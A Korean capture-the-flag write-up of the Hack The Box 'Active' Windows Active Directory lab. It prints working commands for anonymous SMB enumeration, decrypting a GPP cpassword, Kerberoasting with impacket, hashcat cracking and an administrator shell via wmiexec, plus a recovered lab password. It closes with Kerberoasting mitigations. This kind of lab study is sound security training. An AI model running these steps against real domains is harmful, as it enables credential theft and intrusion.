링크: https://app.hackthebox.com/machines/Active Write-up 참고: https://0xdf.gitlab.io/2018/12/08/htb-active.html 난이도: Easy OS: Windows (Active Directory)
공격 흐름 (Attack Flow)
Nmap 포트 스캔
→ SMB 익명 접속
→ Replication 공유 폴더 접근
→ group.xml 발견 (GPP 암호화 패스워드)
→ gpp-decrypt로 크래킹
→ impacket-GetUserSPNs (Kerberoasting)
→ 서비스 티켓 획득 → hashcat 크래킹
→ impacket-wmiexec Administrator 접속
1. SMB 익명 접속
포트 스캔 후 SMB 포트 확인, 익명 접속 시도
smbclient -L //10.10.10.100/ -NReplication 공유 폴더 접근 가능 확인
2. group.xml에서 GPP 암호 탈취
Replication 폴더 내 group.xml 발견:
<Properties action="U" newName="" fullName="" description=""
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS" />cpassword는 Microsoft가 Group Policy Preferences(GPP)에서 사용한 AES-256 암호화인데, 암호화 키가 공개되어 있어 쉽게 복호화 가능하다.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
# 결과: GPPstillStandingStrong2k18크리덴셜: active.htb\SVC_TGS : GPPstillStandingStrong2k18
3. Kerberoasting
획득한 크리덴셜로 SPN 계정 확보:
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request→ Administrator 계정이 SPN을 가지고 있어 서비스 티켓 획득
Kerberoasting 원리
커버로스는 도메인 유저라면 누구든 SPN이 있는 서비스 계정에 대한 서비스 티켓(TGS)을 요청할 수 있다. 반환된 서비스 티켓은 서비스 유저 계정의 NTLM 해시로 암호화되어 있어, 오프라인 브루트포스가 가능하다.
해시 크래킹
hashcat -m 13100 hashfile rockyou.txt→ Administrator 패스워드 획득
4. 관리자 접속
impacket-wmiexec 'active.htb/administrator:PASSWORD'@10.10.10.100 -shell-type powershell→ root.txt 획득
Kerberoasting 대응 방안
- MSA/gMSA 사용 → 자동으로 강력한 패스워드 설정
- 수동으로 복잡한 패스워드 설정 (25자 이상)
- **Fine-Grained Password Policy(FGPP)**로 서비스 계정 패스워드 정책 강화
- Kerberos 티켓 암호화를 RC4-HMAC → AES256으로 변경:
Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options
→ Network Security: Configure encryption types allowed for Kerberos → AES256_HMAC_SHA1 설정
핵심 취약점 요약
| 취약점 | 설명 |
|---|---|
| GPP Password | cpassword 공개 키로 복호화 가능 |
| Kerberoasting | SPN 계정 서비스 티켓 오프라인 크래킹 |